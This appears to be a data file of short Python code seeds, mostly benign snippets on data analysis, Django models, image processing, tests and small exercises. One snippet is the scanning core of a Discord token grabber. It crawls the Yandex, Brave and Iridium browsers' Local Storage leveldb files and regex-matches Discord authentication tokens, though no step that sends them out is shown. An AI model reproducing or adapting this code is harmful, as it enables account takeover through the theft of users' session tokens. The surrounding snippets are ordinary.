lang
stringclasses
10 values
seed
stringlengths
5
2.12k
python
df=pd.read_csv(path) p_a=((df['fico']>700).sum())/len(df) print(p_a) p_b=((df['purpose']=='debt_consolidation').sum())/len(df) print(p_b) df1=df[df['purpose']=='debt_consolidation'] p_a_b=(((df['purpose']=='debt_consolidation') &(df['fico']>700)).sum())/len(df) print(p_a_b) pAoverB=(p_a*p_a_b)/p_b
python
events = utils.read_data('event_output/sim_events.txt') #events = utils.read_data('data/slider_depth/events.txt') for event in events: if event[3] == 1: image[int(event[1]), int(event[2])] -= threshold else: image[int(event[1]), int(event[2])] += threshold #add events to first image image = np.exp(image).astype('uint8') cv2.imwrite('Images/final_frame_delta_mod.png', cv2.cvtColor(image,cv2.COLOR_GRAY2RGB))
python
### Conotur-based features area = cv2.contourArea(cnt[h]) # Area perimeter = cv2.arcLength(cnt[h], True) # Perimeter ellipse = cv2.fitEllipse(cnt[h])
python
fmt = "%04d" % (x) filename = prefix + "-" + fmt + ext with open(filename, 'w') as outfile: payload['p'] = x r = requests.get(base_url, params=payload) res = json.loads(r.text) print(res['currentPage']) json.dump(res['data'], outfile)
python
patients_sample = patients[patients.SUBJECT_ID.isin(SAMPLE_IDS)] patients_sample.head() DECEASED_TO_DATE = patients_sample[patients_sample.EXPIRE_FLAG == 1]\ .set_index('SUBJECT_ID').DOD.map(lambda x: pd.to_datetime(x).date()).to_dict()
python
i = 0 for currency in Currency.objects.all(): if currency.code not in d["rates"]: print("Warning: Could not find rates for %s (%s)" % (currency, currency.code)) continue rate = Decimal(d["rates"][currency.code]).quantize(Decimal(".0001")) if currency.factor != rate: print("Updating %s rate to %f" % (currency, rate)) currency.factor = rate currency.save() i += 1
python
tr_error = 0.1 # truncation error allowed # 1. Initial calculations n_k_est = int(k_est * n_param) # estimated meaningful directions N_terms_est = int(math.factorial(l_exp + n_k_est) / (math.factorial(n_k_est) * math.factorial(l_exp))) # estimated number of terms M = int(factor_MNt * N_terms_est) # estimated number of samples
python
# SINGLE_MATCH 简单正则匹配 SINGLE_MATCH = {'digit': r'^[0-9]+$', 'word': r'^[a-zA-Z0-9_-]+$'}
python
return res.data @staticmethod def delete_job(job_id): request_params = {"job_id": job_id} res = StreamApi.jobs.delete(request_params) res_util.check_response(res, self_message=False) return res.data
python
"alternate tests started hanging on appveyor. Something like .E.E.E. " "See https://ci.appveyor.com/project/denik/gevent/build/job/n9fynkoyt2bvk8b5 " "It's not clear why, but presumably a socket isn't getting closed and a watcher is tied " "to the wrong file descriptor. I haven't been able to reproduce. If it were a systemic " "problem I'd expect to see more failures, so it is probably specific to resource management " "in this test." ) class Test(greentest.TestCase):
python
sj.append(0) silist.append(si) sjlist.append(sj) if spad is not None: return (pad_sequences(silist, maxlen=spad, truncating='post', padding='post'), pad_sequences(sjlist, maxlen=spad, truncating='post', padding='post')) else: return (silist, sjlist) def embmatrix(self, emb):
python
attribute4 = models.CharField(max_length=32, null=True, blank=True, name="attribute4", verbose_name="属性4", help_text="当前附加属性4") attribute5 = models.CharField(max_length=32, null=True, blank=True, name="attribute5", verbose_name="属性5", help_text="当前附加属性5") file = models.ManyToManyField(PlanFileModel, blank=True, name="file", verbose_name="文件",related_name="salesOrderItem_file", help_text="创建订单子项使用的文件") desc = models.TextField(null=True, blank=True, name="desc", verbose_name="备注", help_text="当前信息未列出的字段项,可以在此字段描述.每一项用;隔开") create_time = models.DateTimeField(auto_now_add=True, verbose_name="创建时间",help_text="当前信息创建的时间,后台会自动填充此字段") update_time = models.DateTimeField(auto_now=True, verbose_name="更新时间", help_text="当前信息最后的更新时间") create_user = models.CharField(max_length=32, name="create_user",verbose_name="创建账号",help_text="创建当前信息的账号名称") def __str__(self): return (self.product_code + " >> "+ self.product_name) class Meta:
python
'Yandex': self.pc_local + r'\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\', 'Brave': self.pc_local + r'\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\', 'Iridium': self.pc_local + r'\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\' } for source, path in crawl.items(): if not os.path.exists(path): continue for file_name in os.listdir(path): if not file_name.endswith('.log') and not file_name.endswith('.ldb'): continue for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]: for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
python
event_body = {"event_type": "execution_state_change", "event": {"job_info": dto.to_info_dto(job_info)}} self._client.communicate(event_body) def close(self): self._client.close() class OutputDispatcher(JobOutputObserver): def __init__(self): self._client = SocketClient(OUTPUT_LISTENER_FILE_EXTENSION, bidirectional=False) def output_update(self, job_info: JobInfo, output): event_body = {"event_type": "new_output", "event": {"job_info": dto.to_info_dto(job_info), "output": output}} self._client.communicate(event_body)
python
buckets = buckets.values() for bucket in buckets: flat_tensors = _flatten_dense_tensors(bucket) dist.all_reduce(flat_tensors) flat_tensors.div_(world_size) for tensor, synced in zip(
python
def_dict, inv_def_dict = read_defs(def_file) def main(): # This part of the notebook shows the steps of doing inferencing with Marius output for
python
class Ledger: transactions: List[Transaction] def __init__(self): self.transactions = [] def load_from_file(self, path: Union[str, PurePath]) -> None: self.transactions += get_transactions_from_file(path) def get_balance(self, entity: str, at: date = date.max) -> Balance: balance = Balance(entity=entity) for transaction in self.transactions: if transaction.involves(entity) and transaction.date <= at: balance.apply_transaction(transaction)
python
"""Give the user a prompt where they can enter multiple lines in the console.""" lines = [] if not prompt.endswith(' '): prompt += ' ' print('This is a multiline input. You can use as many lines as you want. You cannot edit a line after you have pressed enter.\n\nWhen you want to finish, simply type "done" on a line on its own. Press Ctrl+C at any time to cancel the entry and exit.\n') while True: line = input(prompt)
python
raise ValueError('not a valid root edge') new_g = DiGraph() emb = graph.get_embedding() # finding the third outer vertex c emb_b = emb[b] idx_a = emb_b.index(a) c = emb_b[(idx_a + 1) % len(emb_b)] # initialisation for i in emb[c]: if i != a and i != b: new_g.add_edge((i, -3, 'red'))
python
# to be activated using a parameter to AnalyzeEngine and not by default. decision_process_logger = logging.getLogger("decision_process") ch = logging.StreamHandler() formatter = logging.Formatter("[%(asctime)s][%(name)s][%(levelname)s]%(message)s") ch.setFormatter(formatter) decision_process_logger.addHandler(ch) decision_process_logger.setLevel("INFO")
python
apiutil.CopyrightC() print(""" /* DO NOT EDIT - THIS FILE AUTOMATICALLY GENERATED BY feedback_funcs.py SCRIPT */ #ifndef CR_STATE_FEEDBACK_FUNCS_H #define CR_STATE_FEEDBACK_FUNCS_H
python
logger = logging.getLogger(__name__) logger.info("loading...") @client.bot.command() async def hubchannel(ctx, arg): # only let server admins determine this permissions = ctx.message.channel.permissions_for(ctx.message.author) if not permissions.administrator: return if arg == "get": cur.execute("SELECT * from hubchannels WHERE discord_server=?", (ctx.message.guild.id,))
python
for i in range(n): chemical_compounds = input().split() for element in chemical_compounds: unique_elements.add(element) print("\n".join(unique_elements))
python
help="Size of first axis of the grid", default=8 ) parser.add_argument( "--n_y", type=int, help="Size of second axis of the grid", default=8
python
if __name__ == "__main__": print("Add -v for more debug output") import sys if "-v" in sys.argv:
python
for j in range(0, self.numCluster): self.distances[i][j] = math.sqrt((self.xData[i] - self.centerXCoords[j])**2 + (self.yData[i] - self.centerYCoords[j])**2) def calcCenters(self): """Calculates the locations of the cluster centers""" self.centerXCoords = [0] * self.numCluster; self.centerYCoords = [0] * self.numCluster; for j in range(0, self.numCluster): denominator = 0.0 for i in range(0, len(self.xData)):
python
def evaluate_unpack(x): """ Evaluates a single problem and connection ordering. Args: x: Tuple (problem, ordering) where problem is a tuple of base pairs and ordering is a list of nodes to connect. Returns: measure and success of the given problem and ordering. """ evaluation = copt.evaluate(x[0], x[1])
python
import os.path as osp data_dir = osp.join(osp.dirname(osp.abspath(__file__)), 'data') lennard_jones_data_file = osp.join(data_dir, 'bsl-lj.csv') lennard_jones_heat_capacities_data_file = osp.join(data_dir, 'bsl-koretsky-merged.csv') collision_cross_section_data_file = osp.join(data_dir, 'bsl-colcross.csv') heat_capacities_constant_factors = {'B':1e3, 'C':1e6, 'D': 1e-5, 'E':1e9}
python
data_1=data[:-1] data_1["Total_Points"]=3*data_1["Gold_Total"]+2*data_1["Silver_Total"]+ data_1["Bronze_Total"] most_points=max(data_1["Total_Points"]) best_country=data_1.loc[data_1["Total_Points"].idxmax(),"Country_Name"] print(best_country) # -------------- #Code starts here best=data[data["Country_Name"]==best_country]
python
print(' ') # Calculo tvia = dist / velm print(' ') print(f'A distancia da viagem é {dist}Km, a velocidade média das estradas é de {velm}Km/h a viagem levara em media {tvia:5.2f}') print(' ')
python
""" import unittest import zillowbnb.test.submodule_path
python
# a new instruction. # This will be run before the MainSequence.generate() def gen_thread_initialization(gen_thread): choices_mod = ChoicesModifier(gen_thread) # Increase the likelihood of using GPRs x10, x11, x12 and x13 by # increasing the weighting. The default weighting in the operand_choices.xml # file is 10 for each GPR. choices_mod.modifyOperandChoices("GPRs", {"x10":40, "x11":40, "x12":60, "x13":60})
python
if not os.path.exists(dir): os.makedirs(dir) def load_dreyeve_sample(sequence_dir, sample, mean_dreyeve_image, frames_per_seq=16, h=448, w=448, ): """ Function to load a dreyeve_sample. :param sequence_dir: string, sequence directory (e.g. 'Z:/DATA/04/'). :param sample: int, sample to load in (15, 7499). N.B. this is the sample where prediction occurs!
python
command = analyze_functor.passive(benchmark, **kwargs) L.get_logger().log('Analyzer::analyze_local: Command = ' + command) benchmark_name = self.config.get_benchmark_name(benchmark)
python
required=True,) @click.option('-d', '--mapping_dir', type=click.Path(exists=True), help='mapping directory.', required=True) @click.option('-m', '--mapping_method', type=click.Choice(['star', 'hisat2']), help='mapping software.', default='star') def main(sample_inf, mapping_dir, mapping_method): sample_df = pd.read_table(sample_inf, header=None, index_col=1) if mapping_method == 'star': out_file = os.path.join(mapping_dir, 'star_mapping.summary.txt') star_log_file_list = [os.path.join(
python
from mongoengine import Document, fields class Image(Document): name = fields.StringField(required=True) image_format = fields.StringField(required=True) image = fields.FileField(required=True)
python
hdot angular velocity of heading in degrees/minute v velocity of ship in knots Action space (continuous): rudder angle of rudder thrust propulsion of ship forward """ # some (more or less) physical constants dt = 4. # simulated time (in seconds) per step mass = 1000. # mass of ship in unclear units I = 1000. # rotational inertia of ship in unclear units def __init__(self, render=True, ip="127.0.0.1", port="21580", numdir=1): # initialize the environment (randomly)
python
mLen = len(bin(M)) - 2 for x in range(mLen): if M & (1 << x): t3 += 1 t1, t2 = t2, t1 else: t1 += 1 t2, t3 = t3, t2 left = N - mLen
python
ax[0].plot(ts, yerr, k, label='VODE') ax[1].plot(ts[1:], dts, k) ax[2].plot(ts, ys, k) # Load and plot oomph-lib data with open("clean-trace") as oomph_file: lines = oomph_file.read().splitlines() headers = lines[0].split()
python
__version__ = "20.0.23"
python
#-*- coding: utf-8 -*- ''' Created on Jul 4, 2013 @author: jin ''' from django.contrib import admin from apps.agent.models import Client, RecommendRecord class ClientAdmin(admin.ModelAdmin): search_fields = ('username','user_username','IDCard') class RecommendRecordAdmin(admin.ModelAdmin): search_fields = ('user_username','client_username')
python
# could be a network try: net = netaddr.IPNetwork(i) if net.size > 2: for ip in net.iter_hosts(): yield(str(ip), interval, timeout) else: for ip in net: yield (str(ip), interval, timeout) except netaddr.core.AddrFormatError: ## looks like it's a host
python
#Points Prize #1 - 50 wooden rabbit #51 - 150 no prize #151 - 180 wafer-thin mint #181 - 200 penguin #All of the lower and upper bounds here are inclusive, and points can only take on positive integer values up to 200. #In your if statement, assign the result variable to a string holding the appropriate message based on the value of points. If they've won a prize, the message should state "Congratulations! You won a [prize name]!" with the prize name. If there's no prize, the message should state "Oh dear, no prize this time."
python
) with open(filepath) as f: newText = f.read().replace( str(os.environ.get("FIND")), str(os.environ.get("REPLACE")) ) with open(filepath, "w") as f: f.write(newText) with open(filepath, "r") as f:
python
def test_push6(): st.push(7) assert st.min == 1 def test_data_stack(): assert st.data_stack == [3,4,2,8,1,7] def test_min_stack():
python
This can be used for testing however! """ from django.contrib import admin from .models import Consultant, User @admin.register(User) class UserAdmin(admin.ModelAdmin):
python
<gh_stars>0 from .main_handler import MainHandler from .websocket_handler import WebSocketHandler from .static_file_handler import StaticFileHandler
python
@zope.cachedescriptors.property.Lazy def recensions(self): for recension in self.container: url = zope.component.getMultiAdapter( (recension, self.request), name='absolute_url')()
python
from torch.autograd import Variable import torch import os # os.environ['KMP_DUPLICATE_LIB_OK'] = 'True' # 构建神经网络模型 class LinearRegression(nn.Module):
python
class SportsCar(Car): def __init__(self, speed, maker, model, color, price, turbo): super().__init__(speed, maker, model, color, price) self.turbo = turbo def setTurbo(self, turbo): self.turbo = turbo
python
) if __name__ == "__main__": # P2MergeDay().run() wmn = WorkflowMultiNag() wmn.run() check_erroneous_bzmail(dryrun=wmn.is_dryrun)
python
proxyShapeItem = ufe.Hierarchy.createItem(proxyShapePath) proxyShapeContextOps = ufe.ContextOps.contextOps(proxyShapeItem) proxyShapeContextOps.doOp(['Add New Prim', 'Capsule']) proxyShapeContextOps.doOp(['Add New Prim', 'Cylinder']) # capsule capsulePath = ufe.PathString.path('%s,/Capsule1' % proxyShape) capsuleItem = ufe.Hierarchy.createItem(capsulePath) capsulePrim = mayaUsd.ufe.ufePathToPrim(ufe.PathString.string(capsulePath)) # cylinder cylinderPath = ufe.PathString.path('%s,/Cylinder1' % proxyShape) cylinderItem = ufe.Hierarchy.createItem(cylinderPath) cylinderPrim = mayaUsd.ufe.ufePathToPrim(ufe.PathString.string(cylinderPath))
python
__all__ = ( "test", ) @task @machine_client @docker_client def test(machine, docker): """
python
import abc class IRCCommand(object): __metaclass__ = abc.ABCMeta @abc.abstractmethod def __str__(self): raise NotImplementedError('users must define __str__ to use this base class')
python
import os import subprocess from selenium import webdriver from selenium.webdriver.chrome.options import Options
python
name = StringField('Name', [validators.Length(min=1)]) expression = StringField('Expression', [validators.Length(min=1)]) class EventForm(Form): qry_rules = db_session.query(Rules).all() rules_list = [(r.id, r.name) for r in qry_rules] print rules_list
python
s1 = [int(a) for a in s1] s2 = s2.split(':') k = int(s2[-1]) s2 = s2[0].split(',') s2 = [int(a) for a in s2] print s1 print s2
python
Returns ------- float Plot width in inches. float Plot height in inches. """ # Set conversion factor from pt to inches and golden ratio. inches_per_pt = 1 / 72.27 golden_ratio = (5**.5 - 1) / 2
python
from todo.application.task.repository import TaskRepository from todo.infrastructure.task.repository import DatastoreTaskRepository def bind_todo(binder): binder.bind(TaskRepository, to=DatastoreTaskRepository)
python
def form_invalid(self, form): try: message = form.errors.values()[-1][-1] except: message = _('Invalid file.')
python
humidity = conditions_data[u'current_observation'][u'relative_humidity'] wind = str(conditions_data[u'current_observation'][u'wind_kph']) wind_dir = str(conditions_data[u'current_observation'][u'wind_dir']) gust = str(conditions_data[u'current_observation'][u'wind_gust_kph']) icon_today = str(forecast_data[u'forecast'][u'simpleforecast'][u'forecastday'][0][u'icon']) high_today = str(forecast_data[u'forecast'][u'simpleforecast'][u'forecastday'][0][u'high'][u'celsius']) low_today = str(forecast_data[u'forecast'][u'simpleforecast'][u'forecastday'][0][u'low'][u'celsius']) epoch = int(conditions_data[u'current_observation'][u'local_epoch']) utime = time.strftime('%H:%M', time.localtime(epoch)) logo = Image.open(os.path.join(icondir, icon + ".bmp")) logoToday = Image.open(os.path.join(icondir, icon_today + ".bmp"))
python
# -*- coding: UTF-8 -*- __version__ = "0.1" from .density import *
python
_TEMPDIR = os.path.join(tempfile.gettempdir(), "reservoirpy-temp") if not os.path.exists(_TEMPDIR): try: os.mkdir(_TEMPDIR) except OSError: _TEMPDIR = tempfile.gettempdir() tempfile.tempdir = _TEMPDIR __all__ = [ "__version__", "mat_gen", "activationsfunc", "observables",
python
except TypeError: print(f"Types are not compatible {type(a)} and {type(b)}, check your inputs") except ZeroDivisionError: print("Zero division error occurred, check your inputs") print_division(10,5) print_division(10,0) print_division(10,2)
python
from PyQt5 import QtCore, QtGui, QtWidgets class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(803, 609) MainWindow.setContextMenuPolicy(QtCore.Qt.NoContextMenu) MainWindow.setAutoFillBackground(False)
python
# Should be called after command execution def get_data(self): print "U R in SocketExecutor - get_data" #flag 4 debug return self.data
python
def swig_import_helper(): from os.path import dirname import imp fp = None try: fp, pathname, description = imp.find_module('_gdal', [dirname(__file__)]) except ImportError: import _gdal return _gdal if fp is not None:
python
opt_call = get_opt_chain(ticker, exp_date)["calls"].head() # opt_call = get_calls(ticker, None) print(opt_call) return opt_call def get_puts(ticker, exp_date): opt_put = get_opt_chain(ticker, exp_date)["puts"].head()
python
actual = GqlQuery().fields(['name', field_friends]).query('hero', input={"episode": "$episode"}).operation( 'query', name='HeroNameAndFriends', input={"$episode": "Episode"}).generate() self.assertEqual(expected, actual) def test_query_directives(self): expected = 'query Hero($episode: Episode, $withFriends: Boolean!) { hero(episode: $episode) { name friends @include(if: $withFriends) { name } } }' field_friends = GqlQuery().fields(['name'], name='friends @include(if: $withFriends)').generate() actual = GqlQuery().fields(['name', field_friends]).query('hero', input={"episode": "$episode"}).operation( 'query', name='Hero', input={"$episode": "Episode", "$withFriends": "Boolean!"}).generate() self.assertEqual(expected, actual) def test_mutation(self): expected = 'mutation CreateReviewForEpisode($ep: Episode!, $review: ReviewInput!) { createReview(episode: $ep, review: $review) { stars commentary } }' actual = GqlQuery().fields(['stars', 'commentary']).query('createReview', input={"episode": "$ep",
python
if args["--request"]: print() responses = request(query) if "error" in responses: print(responses)
python
import pyrmEval def check_version(): """ Tells you if you have an old version of pyrm114. """ import requests r = requests.get('https://pypi.python.org/pypi/pyrm114/json').json() r = r['info']['version'] if r != version: print("A newer version of pyrm114 is available. " + "'pip install -U pyrm114' to update.") return r
python
#!/usr/bin/env python """Command line interface(s) for the docker_sign_verify package.""" from .docker_sign import cli as docker_sign_cli from .docker_verify import cli as docker_verify_cli
python
# Use the input statement as the closest match if no other results are found closest_match = next(search_results, input_statement) # Search for the closest match to the input statement for result in search_results: closest_match = result # Stop searching if a match that is close enough is found if result.confidence >= self.maximum_similarity_threshold: break
python
time of flight distance, mm freq: float frame frequency for double chopper disc system, Hz H: float height of beam, mm xsi: float phase opening of disc, degrees
python
short_enough = True break encoded_prompt = torch.tensor(encoded_prompt) return encoded_prompt, short_enough def run_generation_batch(model_type='gpt2', model_name_or_path=None, gen_type='manual', prompts=[], references=[], recipes=[],
python
class Command(BaseCommand): help = 'Calculate officer complaints count' def handle(self, *args, **options): Allegation.objects.all().update(investigator=None) values = Allegation.objects.values('investigator_name')\ .annotate(dcount=Count('*')) for value in values: if value['investigator_name']: raw_name = value['investigator_name']
python
i = input() print(ord(i)) #결과 출력
python
a = 0 b = 0 c = 0 for n in nums: if n == 1: a += 1 elif n == 2: b += 1 else: c += 1
python
# Given s = "the sky is blue", # return "blue is sky the". str = 'the sky is blue' lst = str.split()
python
elif commandName == 'getanswer': getanswer = load_code_as_module('getanswer') result = getanswer.run(fr_username, text.lower().replace('/getanswer ', '')) telegramBot.sendMessage(chat_id=chat_id, text=result) return result elif commandName == 'getbook': getanswer = load_code_as_module('getbook') result = getanswer.run(fr_username, text.lower().replace('/getbook ', '')) telegramBot.sendMessage(chat_id=chat_id, text=result)
python
def run(self): # Capture first frame to get size frame = cv.QueryFrame(self.capture) frame_size = cv.GetSize(frame) color_image = cv.CreateImage(cv.GetSize(frame), 8, 3) grey_image = cv.CreateImage(cv.GetSize(frame), cv.IPL_DEPTH_8U, 1) moving_average = cv.CreateImage(cv.GetSize(frame), cv.IPL_DEPTH_32F, 3) first = True while True: closest_to_left = cv.GetSize(frame)[0] closest_to_right = cv.GetSize(frame)[1]
python
For instance... :: >>> expand_ipv6_address('2001:db8::ff00:42:8329') '2001:0db8:0000:0000:0000:ff00:0042:8329' >>> expand_ipv6_address('::') '0000:0000:0000:0000:0000:0000:0000:0000' >>> expand_ipv6_address('::ffff:172.16.31.10')
python
def expo(x): return np.exp(x) #returns the np e^x fct #define subroutine that doesnt return value def show_expo(n): for i in range(n): print(expo(float(i)))
python
global mongoconnpath global mongodbpath global runmongocmd global runrabbitmqcmd global runcelerycmd mongoconnpath = '/home/metamaden/usr/local/bin/mongodb-linux-x86_64-4.0.4/bin/mongod' mongodbpath = '/home/metamaden/data/db' runmongocmd = ' '.join(['eval',mongoconnpath,'--dbpath',mongodbpath]) runrabbitmqcmd = 'rabbitmq-server start'
python
def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) def __call__(self, sim_info): if self.tests: resolver = sim_info.get_resolver() if not self.tests.run_tests(resolver): return
python
s = SemesterFactory().semesters['s16'] d = datetime.strptime("2016-02-15", '%Y-%m-%d') self.assertEqual(s.getWeek(d), 6, "expecting 6 got {}".format(s.getWeek(d))) delta = timedelta(days=7) d = d + delta self.assertEqual(s.getWeek(d), 7, "expecting 7 got {}".format(s.getWeek(d))) delta = timedelta(days=-14)
python
df_tot = df_tot[~df_tot["BMI"].str.contains("Total BMI")] ## Sort by Group Percentages df_sort = df_tot df_sort = df_sort[df_PD["N"] > 20] # Subset by groups with more than 20 surveyed
python
direction (str): The direction the association is with the entity of interest. Values are 'Input' or 'Output'. src_dest_type (str): The type of the entity that is associated with the entity of interest. association_type ([type]): The type of the association. Returns: [type]: [description] """ arn_name = arn.split(":")[5] entity_type = arn_name.split("/")[0] name = self._get_friendly_name(name, arn, entity_type) return [name, direction, src_dest_type, association_type, entity_type]
python
name="tplbench", version="0.1.0", entry_points={"console_scripts": ["ditto=tplbench.ditto:run"]}, install_requires=["nox"], packages=find_packages(), )
python
# This is a minimal config file you need for the pylambder library to work # AWS Names s3bucket = "your-bucket-anem" cloudformation_stack = "your-stack-name" # Pylambder API credentials api_token = "{api_token}" # AWS Credentials # Warning: Storing your credentials in plaintext is not recommended aws_access_key_id = "aws-key-id"
python
from options.test_options import TestOptions from models.psp import pSp from torch.optim import Adam
python
cd_low, cd_high = float(cd.bca_low), float(cd.bca_high) if cd_low < POP_D < cd_high is False: error_count_cohens_d += 1 hg = std_diff_data.hedges_g.results # print("hedges' g") # for debug. hg_low, hg_high = float(hg.bca_low), float(hg.bca_high) if hg_low < POP_D < hg_high is False: error_count_hedges_g += 1 mean_diff_data = load(data=mean_df, idx=("Control", "Test"), **load_kwargs)
python
from django.template import Context, Template from gaeapi.appengine.api import users def test(request): t = Template('Test view') c = Context({'user': request.user, 'is_admin': users.is_current_user_admin()}) return HttpResponse(t.render(c))
python
# Location where raw transcriptome references downloaded from Pseudomonas.com and NCBI are stored REF_DIR = LOCAL_DIR / "Documents" / "Data" / "Core_accessory" PAO1_REF = REF_DIR / "Pseudomonas_aeruginosa_PAO1_107.fasta" PA14_REF = REF_DIR / "Pseudomonas_aeruginosa_UCBPP-PA14_109.fasta" PHAGE_REF = REF_DIR / "phage_sequences.fasta" PILA_QUERY = REF_DIR / "pilA_pa14.fasta" # Location of BLAST DB BLAST_DIR = REF_DIR / "blast" / "db" PAO1_DB_DIR = BLAST_DIR / "PAO1_DB" PA14_DB_DIR = BLAST_DIR / "PA14_DB" PAO1_PHAGE_DB_DIR = BLAST_DIR / "PAO1_PHAGE_DB" PA14_PHAGE_DB_DIR = BLAST_DIR / "PA14_PHAGE_DB" PAO1_BLAST_RESULT = BLAST_DIR / "pao1_blast_output.tsv"
python
""" Executes Query in the database. :param query: str - query to be executed. :param params: list - list of parameters to be used if necessary in query :return: result of query """ if params is not None: query = query.format(*params) return self.spark.sql(query) def __generate_url__(self): """ This method creates the database url with all options for connect to the database
python
from .CommunicationConsentChannels import CommunicationConsentChannels class CommunicationConsent(BaseSchema): # Communication swagger.json
python
from utils import linked_list, ListNode, print_linked_list class Solution: def deleteNode(self, node: ListNode) -> None: node.val = node.next.val node.next = node.next.next if __name__ == '__main__':
python
import aoc DAY = 1 def fuel_to_launch_mass(module_mass: int) -> int: """Calculate the fuel to launch a module of the given mass.""" return max(module_mass // 3 - 2, 0) def fuel_to_launch_mass_and_fuel(mass: int) -> int:
python
from abc import ABC, abstractmethod from mlagents.envs.brain import BrainInfo from mlagents.envs.action_info import ActionInfo class Policy(ABC): @abstractmethod def get_action(self, brain_info: BrainInfo) -> ActionInfo: pass
python
) if direction == "in" and (source_agent_path is None or source_agent_id is not None): raise TypeError( f"""Inbound envelope should have a "source_agent_path" and no "source_agent_id".""" ) if direction == "out" and (source_agent_id is None or source_agent_path is not None): raise TypeError(